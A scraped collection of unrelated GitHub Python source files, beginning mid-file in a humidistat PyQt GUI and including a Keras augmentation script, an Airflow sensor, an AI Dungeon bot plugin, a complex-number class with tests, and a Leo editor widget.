actuators\n            self.qpbt_control_mode.setText(\"Manual control\")\n            self.ard_qdev.state.control_mode = ControlMode.Manual\n            self.ard_qdev.set_actuators(False, False, False)\n\n        flag = self.ard_qdev.state.control_mode == ControlMode.Manual\n        self.qpbt_valve_1.setEnabled(flag)\n        self.qpbt_valve_2.setEnabled(flag)\n        self.qpbt_pump.setEnabled(flag)\n        self.qpbt_burst_incr_RH.setEnabled(flag)\n        self.qpbt_burst_decr_RH.setEnabled(flag)\n\n    @QtCore.pyqtSlot(bool)\n    def process_qchk_incr_ENA_valve_1(self, checked: bool):\n        self.ard_qdev.config.actors_incr_RH.ENA_valve_1 = checked\n\n    @QtCore.pyqtSlot(bool)\n    def process_qchk_incr_ENA_valve_2(self, checked: bool):\n        self.ard_qdev.config.actors_incr_RH.ENA_valve_2 = checked\n\n    @QtCore.pyqtSlot(bool)\n    def process_qchk_incr_ENA_pump(self, checked: bool):\n        self.ard_qdev.config.actors_incr_RH.ENA_pump = checked\n\n    @QtCore.pyqtSlot(bool)\n    def process_qchk_decr_ENA_valve_1(self, checked: bool):\n        self.ard_qdev.config.actors_decr_RH.ENA_valve_1 = checked\n\n    @QtCore.pyqtSlot(bool)\n    def process_qchk_decr_ENA_valve_2(self, checked: bool):\n        self.ard_qdev.config.actors_decr_RH.ENA_valve_2 = checked\n\n    @QtCore.pyqtSlot(bool)\n    def process_qchk_decr_ENA_pump(self, checked: bool):\n        self.ard_qdev.config.actors_decr_RH.ENA_pump = checked\n\n    @QtCore.pyqtSlot(bool)\n    def process_qrbt_act_on_sensor_1(self, checked: bool):\n        self.ard_qdev.config.act_on_sensor_no = 1 if checked else 2\n\n    @QtCore.pyqtSlot(bool)\n    def process_qrbt_act_on_sensor_2(self, checked: bool):\n        self.ard_qdev.config.act_on_sensor_no = 2 if checked else 1\n\n    @QtCore.pyqtSlot()\n    def process_qlin_fineband_dLO(self):\n        try:\n            val = float(self.qlin_fineband_dLO.text())\n        except ValueError:\n            val = self.ard_qdev.config.fineband_dLO\n\n        val = -(abs(val))\n        self.qlin_fineband_dLO.setText(\"%+.1f\" % val)\n        self.ard_qdev.config.fineband_dLO = val\n\n    @QtCore.pyqtSlot()\n    def process_qlin_fineband_dHI(self):\n        try:\n            val = float(self.qlin_fineband_dHI.text())\n        except ValueError:\n            val = self.ard_qdev.config.fineband_dHI\n\n        val = max(val, 0)\n        self.qlin_fineband_dHI.setText(\"%+.1f\" % val)\n        self.ard_qdev.config.fineband_dHI = val\n\n    @QtCore.pyqtSlot()\n    def process_qlin_deadband_dLO(self):\n        try:\n            val = float(self.qlin_deadband_dLO.text())\n        except ValueError:\n            val = self.ard_qdev.config.deadband_dLO\n\n        val = -(abs(val))\n        self.qlin_deadband_dLO.setText(\"%+.1f\" % val)\n        self.ard_qdev.config.deadband_dLO = val\n\n    @QtCore.pyqtSlot()\n    def process_qlin_deadband_dHI(self):\n        try:\n            val = float(self.qlin_deadband_dHI.text())\n        except ValueError:\n            val = self.ard_qdev.config.deadband_dHI\n\n        val = max(val, 0)\n        self.qlin_deadband_dHI.setText(\"%+.1f\" % val)\n        self.ard_qdev.config.deadband_dHI = val\n\n    @QtCore.pyqtSlot()\n    def process_qlin_burst_update_period(self):\n        try:\n            val = int(self.qlin_burst_update_period.text())\n        except ValueError:\n            val = self.ard_qdev.config.burst_update_period\n\n        val = max(val, 1)\n        self.qlin_burst_update_period.setText(\"%u\" % val)\n        self.ard_qdev.config.burst_update_period = val\n\n    @QtCore.pyqtSlot()\n    def process_qlin_burst_incr_RH_length(self):\n        try:\n            val = int(self.qlin_burst_incr_RH_length.text())\n        except ValueError:\n            val = self.ard_qdev.config.burst_incr_RH_length\n\n        val = max(val, 500)\n        self.qlin_burst_incr_RH_length.setText(\"%u\" % val)\n        self.ard_qdev.config.burst_incr_RH_length = val\n\n    @QtCore.pyqtSlot()\n    def process_qlin_burst_decr_RH_length(self):\n        try:\n            val = int(self.qlin_burst_decr_RH_length.text())\n        except ValueError:\n            val = self.ard_qdev.config.burst_decr_RH_length\n\n        val = max(val, 500)\n        self.qlin_burst_decr_RH_length.setText(\"%u\" % val)\n        self.ard_qdev.config.burst_decr_RH_length = val\n\n    # --------------------------------------------------------------------------\n    #   Configuration files\n    # --------------------------------------------------------------------------\n\n    def save_config_to_file(self, as_default: bool = True):\n        config = self.ard_qdev.config  # Shorthand\n\n        cp = ConfigParser()\n        cp.optionxform = lambda option: option  # Preserve letter case\n\n        descr = \"Humidistat\"\n        cp.add_section(descr)\n        tmp = config.actors_incr_RH\n        cp.set(descr, \"actors_incr_RH_ENA_valve_1\", str(tmp.ENA_valve_1))\n        cp.set(descr, \"actors_incr_RH_ENA_valve_2\", str(tmp.ENA_valve_2))\n        cp.set(descr, \"actors_incr_RH_ENA_pump\", str(tmp.ENA_pump))\n        tmp = config.actors_decr_RH\n        cp.set(descr, \"actors_decr_RH_ENA_valve_1\", str(tmp.ENA_valve_1))\n        cp.set(descr, \"actors_decr_RH_ENA_valve_2\", str(tmp.ENA_valve_2))\n        cp.set(descr, \"actors_decr_RH_ENA_pump\", str(tmp.ENA_pump))\n        cp.set(descr, \"act_on_sensor_no\", str(config.act_on_sensor_no))\n        cp.set(descr, \"fineband_dHI\", str(config.fineband_dHI))\n        cp.set(descr, \"fineband_dLO\", str(config.fineband_dLO))\n        cp.set(descr, \"deadband_dHI\", str(config.deadband_dHI))\n        cp.set(descr, \"deadband_dLO\", str(config.deadband_dLO))\n        cp.set(descr, \"burst_update_period\", str(config.burst_update_period))\n        cp.set(descr, \"burst_incr_RH_length\", str(config.burst_incr_RH_length))\n        cp.set(descr, \"burst_decr_RH_length\", str(config.burst_decr_RH_length))\n\n        if as_default:\n            fn = DEFAULT_CONFIG_FILE\n        else:  # Ask user for filename\n            suggested_name = (\n                \"humidistat_config_%s.ini\"\n                % QDateTime.currentDateTime().toString(\"yyMMdd_HHmmss\")\n            )\n            options = QFileDialog.Options()\n            # options |= QFileDialog.DontUseNativeDialog\n            fn, _ = QFileDialog.getSaveFileName(\n                self,\n                caption=\"Save Humidistat configuration to file\",\n                directory=suggested_name,\n                filter=\"Configuration files (*.ini);;All Files (*)\",\n                options=options,\n            )\n            if not fn:\n                return\n\n        fn = Path(fn)\n        try:\n            with open(fn, \"w\") as f:\n                cp.write(f)\n        except Exception as err:  # pylint: disable=broad-except\n            dprint(\"ERROR: Failed to write configuration to file\")\n            pft(err)\n        else:\n            dprint(\"Succesfully saved configuration file: %s\" % fn)\n\n    def load_config_from_file(self, from_default=True):\n        config = self.ard_qdev.config  # Shorthand\n\n        if from_default:\n            fn = DEFAULT_CONFIG_FILE\n        else:  # Ask user for filename\n            options = QFileDialog.Options()\n            # options |= QFileDialog.DontUseNativeDialog\n            fn, _ = QFileDialog.getOpenFileName(\n                self,\n                caption=\"Load Humidistat configuration from file\",\n                directory=\"\",\n                filter=\"Configuration files (*.ini);;All Files (*)\",\n                options=options,\n            )\n            if not fn:\n                return\n\n        fn = Path(fn)\n        cp = ConfigParser()\n        try:\n            cp.read(fn)\n        except Exception as err:  # pylint: disable=broad-except\n            dprint(\"ERROR: Failed to load configuration from file\")\n            pft(err)\n            return\n\n        try:\n            descr = \"Humidistat\"\n            config.actors_incr_RH.ENA_valve_1 = cp.getboolean(\n                descr, \"actors_incr_RH_ENA_valve_1\"\n            )\n            config.actors_incr_RH.ENA_valve_2 = cp.getboolean(\n                descr, \"actors_incr_RH_ENA_valve_2\"\n            )\n            config.actors_incr_RH.ENA_pump = cp.getboolean(\n                descr, \"actors_incr_RH_ENA_pump\"\n            )\n            config.actors_decr_RH.ENA_valve_1 = cp.getboolean(\n                descr, \"actors_decr_RH_ENA_valve_1\"\n            )\n            config.actors_decr_RH.ENA_valve_2 = cp.getboolean(\n                descr, \"actors_decr_RH_ENA_valve_2\"\n            )\n            config.actors_decr_RH.ENA_pump = cp.getboolean(\n                descr, \"actors_decr_RH_ENA_pump\"\n            )\n            config.act_on_sensor_no = cp.getint(descr, \"act_on_sensor_no\")\n            config.fineband_dHI = cp.getfloat(descr, \"fineband_dHI\")\n            config.fineband_dLO = cp.getfloat(descr, \"fineband_dLO\")\n            config.deadband_dHI = cp.getfloat(descr, \"deadband_dHI\")\n            config.deadband_dLO = cp.getfloat(descr, \"deadband_dLO\")\n            config.burst_update_period = cp.getint(descr, \"burst_update_period\")\n            config.burst_incr_RH_length = cp.getint(\n                descr, \"burst_incr_RH_length\"\n            )\n            config.burst_decr_RH_length = cp.getint(\n                descr, \"burst_decr_RH_length\"\n            )\n        except Exception as err:  # pylint: disable=broad-except\n            dprint(\"ERROR: Failed to load configuration from file\")\n            pft(err)\n        else:\n            dprint(\"Succesfully loaded configuration file: %s\" % fn)\n            self.populate_configuration()\n","repo_name":"Dennis-van-Gils/project-Humidistat","sub_path":"src_python/humidistat_gui.py","file_name":"humidistat_gui.py","file_ext":"py","file_size_in_byte":41421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"29918167352","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 20 13:02:06 2020\r\n\r\n@author: srinivasan.c\r\n\"\"\"\r\n\r\nfrom keras.preprocessing.image import ImageDataGenerator, array_to_img,img_to_array,load_img\r\nimport tensorflow as tf\r\n\r\ndatagen = ImageDataGenerator(\r\n        rotation_range=180,\r\n        width_shift_range = 0.2,\r\n        height_shift_range = 0.2,\r\n        shear_range = 0.2,\r\n        zoom_range = 0.2,\r\n        horizontal_flip = True,\r\n        fill_mode = 'nearest'\r\n        )\r\nimg = load_img('D:\\python\\data\\image\\dog1.jpg')\r\nx = img_to_array(img)\r\nx = x.reshape((1,) + x.shape)\r\n\r\nfile_name = 'dog_' #filename prefix\r\ni = 1\r\nformat_type = 'jpg' # format type for generated image\r\nsave_dir = 'D:/python/CNN/test_data/dog/'\r\nfor batch in datagen.flow(x, batch_size = 1,\r\n                           save_to_dir = save_dir, save_prefix = 'dog',\r\n                           save_format = format_type):\r\n    i += 1\r\n    if i > 70:\r\n        break\r\n\r\nimport os\r\nos.getcwd()\r\ncollection = save_dir\r\nfor i, filename in enumerate(os.listdir(collection)):\r\n    i+=1\r\n    os.rename(save_dir + filename, save_dir + file_name + str(i) + \".\"+format_type)","repo_name":"srini-vasan-c/keras","sub_path":"examples/image-agening/image_augmentation.py","file_name":"image_augmentation.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26665260609","text":"import json\nimport logging\n\nfrom airflow.operators.sensors import BaseSensorOperator\nfrom airflow.utils.decorators import apply_defaults\n\nfrom airflow_xplenty.client_factory import ClientFactory\n\n\nclass XplentyWaitForJobSensor(BaseSensorOperator):\n    \"\"\"Wait for a job to finish\n    \"\"\"\n\n    SUCCESS_STATUSES = [\"completed\"]\n    FAILED_STATUSES = [\"failed\", \"stopped\"]\n\n    @apply_defaults\n    def __init__(self, start_job_task_id, **kwargs):\n        self.start_job_task_id = start_job_task_id\n        self.client = ClientFactory().client()\n\n        super(XplentyWaitForJobSensor, self).__init__(**kwargs)\n\n    def poke(self, context):\n        job_id = context[\"task_instance\"].xcom_pull(task_ids=self.start_job_task_id)\n        if job_id is None:\n            raise Exception(\"No job_id found in XComs\")\n\n        job = self.client.get_job(job_id)\n        if job.status in self.FAILED_STATUSES:\n            raise Exception(\"Job failed: %s\" % job.errors)\n        elif job.status in self.SUCCESS_STATUSES:\n            logging.info(\"Job %d finished in state %s\", job_id, job.status)\n            logging.info(json.dumps(job.outputs, indent=4))\n            context[\"task_instance\"].xcom_push(\n                key=\"xplenty_job_outputs\", value=job.outputs\n            )\n            return True\n        else:\n            progress = round(job.progress * 100, 1)\n            logging.info(\"Job %d in state %s (%.1f%%)\", job_id, job.status, progress)\n            return False\n","repo_name":"saggineumann/airflow_xplenty","sub_path":"airflow_xplenty/operators/xplenty_wait_for_job_sensor.py","file_name":"xplenty_wait_for_job_sensor.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37119076771","text":"from ai_dungeon.storage.user_info import get_user_info, insert_action\nfrom ai_dungeon.translations.yandex import translate\nfrom aidungeonapi import AIDungeonClient, AIDungeonAdventure\nfrom kutana import Plugin, Message\n\nplugin = Plugin(name=\"Actions\")\n\n\nasync def process_actions(ctx, adventure_id, actions, skip_read=True):\n    \"\"\"\n        Iterates over actions. Prints newly added actions. Saves to the app storage.\n    \"\"\"\n    user_info = await get_user_info(ctx)\n    new_actions = []\n    for action in actions:\n        added = await insert_action(ctx, adventure_id, action)\n        if added or not skip_read:\n            new_actions.append(action)\n    text = ''.join([action['text'] for action in new_actions])\n    if text:\n        await ctx.reply(await translate(text, \"en\", user_info.language))\n    await ctx.set_state(user_state='game')\n\n\n@plugin.on_commands(commands=['do', 'say', 'story'], user_state='game')\nasync def _(msg: Message, ctx):\n    \"\"\"\n        Handles /do, /say and /story.\n        If died, returns to 'ready' state.\n    \"\"\"\n    user_info = await get_user_info(ctx)\n\n    client = await AIDungeonClient(token=user_info.token or '', debug=True)\n    adventure = await AIDungeonAdventure(client, id=user_info.adventure)\n\n    await adventure.send_text(await translate(ctx.body, user_info.language, \"en\"), ctx.command)\n\n    await process_actions(ctx, adventure.id, await adventure.obtain_actions())\n\n    if await adventure.obtain_has_died():\n        await ctx.set_state(user_state='ready')\n        await ctx.reply((await translate(\"Game over. To start again, send: \", \"en\", user_info.language)) + \"/play\")\n\n\n@plugin.on_commands(commands=['cancel'])\nasync def _(msg: Message, ctx):\n    \"\"\"\n        Command to stop history.\n    \"\"\"\n    user_info = await get_user_info(ctx)\n    # Avoid skipping language entry\n    if ctx.user_state and ctx.user_state != 'language':\n        await ctx.set_state(user_state='ready')\n        await ctx.reply(await translate(\"Game over\", \"en\", user_info.language))\n\n\n@plugin.on_any_unprocessed_message(user_state='game')\nasync def _(message: Message, ctx):\n    user_info = await get_user_info(ctx)\n    await ctx.reply(\n        (await translate(\"Бот не знает, как обработать ваше сообщение! Попробуйте использовать одну из команд: \", \"ru\",\n                         user_info.language)) +\n        \"\\n/say <text>, \\n/do <text>, \\n/story <text>\\n\" +\n        (await translate(\"Или перезапустить игру при помощи команды \", \"ru\", user_info.language)) + \"/start\")\n\n\n@plugin.on_commands(commands=['undo', 'redo', 'retry'], user_state='game')\nasync def _(message: Message, ctx):\n    user_info = await get_user_info(ctx)\n\n    client = await AIDungeonClient(token=user_info.token or '', debug=True)\n    adventure = await AIDungeonAdventure(client, id=user_info.adventure)\n\n    await adventure.send_simple_action(ctx.command)\n\n    await ctx.reply(await translate((await adventure.obtain_last_action())['text'], \"en\", user_info.language))\n\n\n@plugin.on_commands(commands=['full_story'], user_state='game')\nasync def _(message: Message, ctx):\n    user_info = await get_user_info(ctx)\n\n    client = await AIDungeonClient(token=user_info.token or '', debug=True)\n    adventure = await AIDungeonAdventure(client, id=user_info.adventure)\n\n    await process_actions(ctx, adventure.id, await adventure.obtain_actions(), skip_read=False)\n\n\n@plugin.on_commands(commands=['last'], user_state='game')\nasync def _(message: Message, ctx):\n    user_info = await get_user_info(ctx)\n\n    client = await AIDungeonClient(token=user_info.token or '', debug=True)\n    adventure = await AIDungeonAdventure(client, id=user_info.adventure)\n\n    await ctx.reply(await translate((await adventure.obtain_last_action())['text'], \"en\", user_info.language))\n","repo_name":"sasha00123/ai-dungeon-bot","sub_path":"src/ai_dungeon/plugins/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"46142342833","text":"# -*- coding: cp1252 -*-\nimport  unittest as u\nfrom should_dsl import should, should_not\n\nclass Numero_complexo(object):\n    def __init__(self, real, imaginaria):\n        if(type(real)!=dict and type(real)!=list and type(real)!=str and type(real)!=set and type(imaginaria)!=dict and type(imaginaria)!=list and type(imaginaria)!=str and type(imaginaria)!=set):\n            self.real=real\n            self.imaginaria=imaginaria\n        else:\n            raise TypeError(\"Parâmetro não é um número!\")\n\n    def get_real(self):\n        return self.real\n    def get_imaginaria(self):\n        return self.imaginaria\n    \n    def set_real(self,real):\n        if(type(real)!=dict and type(real)!=list and type(real)!=str and type(real)!=set):\n            self.real=real\n        else:\n            raise TypeError(\"Parâmetro não é um número!\")\n        \n    def set_imaginaria(self,imaginaria):\n        if (type(imaginaria)!=dict and type(imaginaria)!=list and type(imaginaria)!=str and type(imaginaria)!=set):\n            self.imaginaria=imaginaria\n        else:\n            raise TypeError(\"Parâmetro não é um número!\")\n\n    def representa(self, q_casasDecimais):\n        k='%i'%(q_casasDecimais)\n        formatter=\"%.\"+k+\"f\"\n        a=formatter%(self.real)\n        b=formatter%(self.imaginaria)\n        \n        if(self.imaginaria>=0):\n            return a+'+'+b+'i' \n        else:\n            return a+b+'i'\n    \n    def adicionar(self, onc):\n        r_real=self.real+onc.get_real()\n        r_imaginaria=self.imaginaria+onc.get_imaginaria()\n        r=Numero_complexo(r_real,r_imaginaria)\n        return r\n\n    def subtrair (self, onc):\n        r_real=self.real-onc.get_real()\n        r_imaginaria=self.imaginaria-onc.get_imaginaria()\n        r=Numero_complexo(r_real,r_imaginaria)\n        return r\n\n    def multiplicar(self, onc):\n        r_real=(self.real*onc.get_real())-(self.imaginaria*onc.get_imaginaria())\n        r_imaginaria=(self.imaginaria*onc.get_real())+(self.real*onc.get_imaginaria())\n        r=Numero_complexo(r_real,r_imaginaria)\n        return r\n\n    def dividir(self, onc):\n        div=(onc.get_real()*onc.get_real())+(onc.get_imaginaria()*onc.get_imaginaria())\n        r_real=(self.real*onc.get_real())+(self.imaginaria*onc.get_imaginaria())/float(div)\n        r_imaginaria=(self.imaginaria*onc.get_real())-(self.real*onc.get_imaginaria())/float(div)\n        r=Numero_complexo(float(r_real),float(r_imaginaria))\n        return r\n\nclass TesteNumero_complexo(u.TestCase):\n    def test_inicializacao(self):\n        q=Numero_complexo(3,8)\n        q.real | should | equal_to(3)\n        q.imaginaria | should | equal_to(8)\n\n    def test_gettersAndSetters(self):\n        q=Numero_complexo(3,8)\n        q.set_real(-12)\n        q.get_real() | should | equal_to(-12)\n        q.set_imaginaria(24)\n        q.get_imaginaria() | should | equal_to(24)\n\n    def test_representa(self):\n        q=Numero_complexo(3,-8)\n        q.representa(2) | should | equal_to('3.00-8.00i')\n\n    def test_adicionar(self):\n        q=Numero_complexo(4,9)\n        w=Numero_complexo(3,-8)\n        q.adicionar(w).get_real()  | should | equal_to(7)\n        q.adicionar(w).get_imaginaria() |  should | equal_to(1)\n        \n    def test_subtrair(self):\n        q=Numero_complexo(4,9)\n        w=Numero_complexo(3,-8)\n        q.subtrair(w).get_real()  | should | equal_to(1)\n        q.subtrair(w).get_imaginaria() |  should | equal_to(17)\n\n    def test_multiplicar(self):\n        q=Numero_complexo(5,1)\n        w=Numero_complexo(2,-1)\n        q.multiplicar(w).get_real()  | should | equal_to(11)\n        q.multiplicar(w).get_imaginaria() |  should | equal_to(-3)\n\n    def test_dividir(self):\n        q=Numero_complexo(3,2)\n        w=Numero_complexo(0,4)\n        q.dividir(w).get_real()  | should | equal_to(0.5)\n        q.dividir(w).get_imaginaria() |  should | equal_to(-0.75)\n\n    def test_validationParameters(self):\n        (Numero_complexo, \"a\", 1) | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n        (Numero_complexo, [1,2], 1) | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n        (Numero_complexo, {1,2}, 1) | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n\n        q=Numero_complexo(1,1)\n        (q.set_real, \"a\") | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n        (q.set_real, [1,2]) | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n        (q.set_real, {1,2}) | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n\n        (q.set_imaginaria, \"a\") | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n        (q.set_imaginaria, [1,2]) | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n        (q.set_imaginaria, {1,2}) | should | throw(TypeError, message=\"Parâmetro não é um número!\")\n    \nif(__name__=='__main__'):\n    u.main()\n","repo_name":"YasCoMa/basic_programs_in_python","sub_path":"l_2/test_10_32.py","file_name":"test_10_32.py","file_ext":"py","file_size_in_byte":4848,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"11321941683","text":"import gpflow\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom GaussianProcessTools import constraints\n\ndef f(x):\n    return x**2\n\ndef main():\n    \n    #sample the objective functions\n    n_initial = 4\n    X0 = np.random.uniform(-2,2,size = (n_initial,1))\n    Y0 = f(X0)\n\n    X = X0\n    Y = Y0\n    \n    \n    #define kernels to be used for the gaussian process regressors\n    kernel = gpflow.kernels.RBF(lengthscales = 0.5, variance = 0.5)\n\n    GPR = gpflow.models.GPR((X,Y),kernel, noise_variance = 0.0001)\n\n    constraint = constraints.Constraint(GPR,1,True)\n    \n\n    x = np.linspace(-5,5,100).reshape(-1,1)\n\n    const_satisfied = constraint.predict(x)\n    \n    fig,ax = plt.subplots()\n    mu,var = GPR.predict_f(x)\n\n    mu = mu.numpy().flatten()\n    sig = np.sqrt(var.numpy().flatten())\n    ax.plot(x,mu)\n    ax.fill_between(x.flatten(),mu-sig,mu+sig, alpha=0.25, lw = 0)\n\n    ax.plot(x,const_satisfied)\n    \nmain()\nplt.show()\n","repo_name":"roussel-ryan/Accelerator_MOBO","sub_path":"tests/test_constraint.py","file_name":"test_constraint.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"29232685413","text":"t = int(input())\n\nj = 1\n\nwhile j <= t:\n\n    string = input()\n\n    d = len(string)\n\n    if d > 10:\n\n        c = len(string[1:d-1])\n        print(f\"{string[0]}{c}{string[d-1]}\")\n\n    else:\n        print(string)\n\n    j = j + 1\n\n\n","repo_name":"himu999/CODEFORCES","sub_path":"71A_Way Too Long Words.py","file_name":"71A_Way Too Long Words.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9338332993","text":"from apiclient import errors\n\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.calliope import exceptions\nfrom googlecloudsdk.core import properties\nfrom googlecloudsdk.core.util import console_io\nfrom googlecloudsdk.dns import util\n\n\nclass Create(base.Command):\n  \"\"\"Create a new Cloud DNS managed zone.\"\"\"\n\n  @staticmethod\n  def Args(parser):\n    \"\"\"Args is called by calliope to gather arguments for this command.\n\n    Args:\n      parser: An argparse parser that you can use it to add arguments that go\n          on the command line after this command. Positional arguments are\n          allowed.\n    \"\"\"\n    parser.add_argument(\n        'zone',\n        help='Managed Zone name.')\n    parser.add_argument(\n        '--description',\n        required=True,\n        help='Human readable description of this zone.  Optional.')\n\n    parser.add_argument(\n        '--dns_name',\n        required=True,\n        help='A domain name spec, for example \"foo.bar.com.\".')\n\n  def Run(self, args):\n    \"\"\"Run 'dns managed-zone create'.\n\n    Args:\n      args: argparse.Namespace, The arguments that this command was invoked\n          with.\n    Returns:\n      A dict object representing the changes resource obtained by the create\n      operation if the create was successful.\n    \"\"\"\n    project = properties.VALUES.core.project.Get(required=True)\n    zone = {}\n    zone['dnsName'] = args.dns_name\n    zone['name'] = args.zone\n    zone['description'] = args.description\n\n    really = console_io.PromptContinue('Creating %s in %s' % (zone, project))\n    if not really:\n      return\n\n    dns = self.context['dns']\n    request = dns.managedZones().create(project=project, body=zone)\n    try:\n      result = request.execute()\n      return result\n    except errors.HttpError as error:\n      raise exceptions.HttpException(util.GetError(error))\n    except errors.Error as error:\n      raise exceptions.ToolException(error)\n\n  def Display(self, unused_args, result):\n    \"\"\"Display prints information about what just happened to stdout.\n\n    Args:\n      unused_args: The same as the args in Run.\n      result: The results of the Run() method.\n    \"\"\"\n    util.PrettyPrint(result)\n","repo_name":"Technology-Hatchery/google-cloud-sdk","sub_path":".install/.backup/lib/googlecloudsdk/dns/dnstools/managed_zone/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"17181068424","text":"import sys\nsys.path.append('Utils/Visualization')\n\nimport FunctionsVisualization as img\n\n\ndef falsePosition(fx, lowerLimit, upperLimit):\n    if (fx(lowerLimit)*fx(upperLimit) < 0 and lowerLimit+upperLimit != 0):\n        c = 0\n        while True:\n            buff = c\n            # perbedaan dengan metode biseksi terletak pada penentuan nilai c\n            c = upperLimit - (fx(upperLimit)*(lowerLimit-upperLimit)\n                              )/(fx(lowerLimit)-fx(upperLimit))\n            if (fx(upperLimit)*fx(c) < 0):\n                lowerLimit = c\n            else:\n                upperLimit = c\n\n            if (abs((c-buff)/c) < (0.001)):\n                break\n        print(\"Akar persamaannya adalah %f\" % c)\n    else:\n        print(\"Batasan yang dimasukkan salah!\")\n\n\ncontohFungsi = lambda x: x**3 - 2*(x**2) + 6*x - 4.0\n\nimg.visualization2Variable(\n    [0.6, 1.5, 0.05],\n    contohFungsi,\n    \"Metode False Position\",\n    \"Metnum/Akar Persamaan Non-Linear/Metode False Position/\",\n    \"metode-false-position.png\"\n)\n\na = float(input(\"Masukkan batas bawah: \"))\nb = float(input(\"Masukkan batas atas : \"))\n\n\nfalsePosition(contohFungsi, a, b)\n","repo_name":"fatahprakoso/Anything-About-Python","sub_path":"Math/Akar Persamaan Non-Linear/metodeFalsePosition.py","file_name":"metodeFalsePosition.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"ms","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8155741741","text":"#@+leo-ver=5-thin\n#@+node:tbrown.20171028115143.3: * @file ../plugins/editpane/vanillascintilla.py\n\"\"\"\nvanillascintilla.py - a LeoEditPane editor that uses QScintilla\nbut does not try to add Leo key handling\n\nTerry Brown, Terry_N_Brown@yahoo.com, Sat Feb  4 12:38:26 2017\n\"\"\"\n#@+<< vanillascintilla imports >>\n#@+node:tbrown.20171028115501.1: ** << vanillascintilla imports >>\nfrom leo.core import leoGlobals as g\nassert g\nfrom leo.core.leoQt import QtGui, QtWidgets, Qsci\n\nif Qsci is None:  # leo.core.leoQt eats ImportErrors\n    raise ImportError\n#@-<< vanillascintilla imports >>\n#@+others\n#@+node:tbrown.20171028115501.2: ** DBG\ndef DBG(text):\n    \"\"\"DBG - temporary debugging function\n\n    Args:\n        text (str): text to print\n    \"\"\"\n    print(f\"LEP: {text}\")\n#@+node:tbrown.20171028115501.3: ** class LEP_VanillaScintilla\nclass LEP_VanillaScintilla(Qsci.QsciScintilla):\n    lep_type = \"EDITOR\"\n    lep_name = \"Vanilla Scintilla\"\n    #@+others\n    #@+node:tbrown.20171028115501.4: *3* __init__\n    def __init__(self, c=None, lep=None, *args, **kwargs):\n        \"\"\"set up\"\"\"\n        super().__init__(*args, **kwargs)\n        self.c = c\n        self.lep = lep\n        self.textChanged.connect(self.text_changed)\n\n        font = QtGui.QFont()\n        font.setFamily('Courier')\n        font.setFixedPitch(True)\n        font.setPointSize(14)\n\n        lexer = Qsci.QsciLexerPython()\n        lexer.setDefaultFont(font)\n        self.setLexer(lexer)\n        # self.SendScintilla(Qsci.QsciScintilla.SCI_STYLESETFONT, 1, 'Courier')\n\n        self.setCaretLineVisible(True)\n        self.setCaretLineBackgroundColor(QtGui.QColor(\"#ffe4e4\"))\n    #@+node:tbrown.20171028115501.5: *3* focusInEvent\n    def focusInEvent(self, event):\n        Qsci.QsciScintilla.focusInEvent(self, event)\n        DBG(\"focusin()\")\n        self.lep.edit_widget_focus()\n    #@+node:tbrown.20171028115501.6: *3* focusOutEvent\n    def focusOutEvent(self, event):\n        Qsci.QsciScintilla.focusOutEvent(self, event)\n        DBG(\"focusout()\")\n    #@+node:tbrown.20171028115501.7: *3* new_text\n    def new_text(self, text):\n        \"\"\"new_text - update for new text\n\n        Args:\n            text (str): new text\n        \"\"\"\n        self.setText(text)\n    #@+node:tbrown.20171028115501.8: *3* text_changed\n    def text_changed(self):\n        \"\"\"text_changed - text editor text changed\"\"\"\n        if QtWidgets.QApplication.focusWidget() == self:\n            DBG(\"text changed, focused\")\n            self.lep.text_changed(self.text())\n        else:\n            DBG(\"text changed, NOT focused\")\n    #@+node:tbrown.20171028115501.9: *3* update_text\n    def update_text(self, text):\n        \"\"\"update_text - update for current text\n\n        Args:\n            text (str): current text\n        \"\"\"\n        DBG(\"update editor text\")\n        self.setText(text)\n    #@-others\n#@-others\n#@@language python\n#@@tabwidth -4\n#@-leo\n","repo_name":"leo-editor/leo-editor","sub_path":"leo/plugins/editpane/vanillascintilla.py","file_name":"vanillascintilla.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":1414,"dataset":"github-code","pt":"35"}
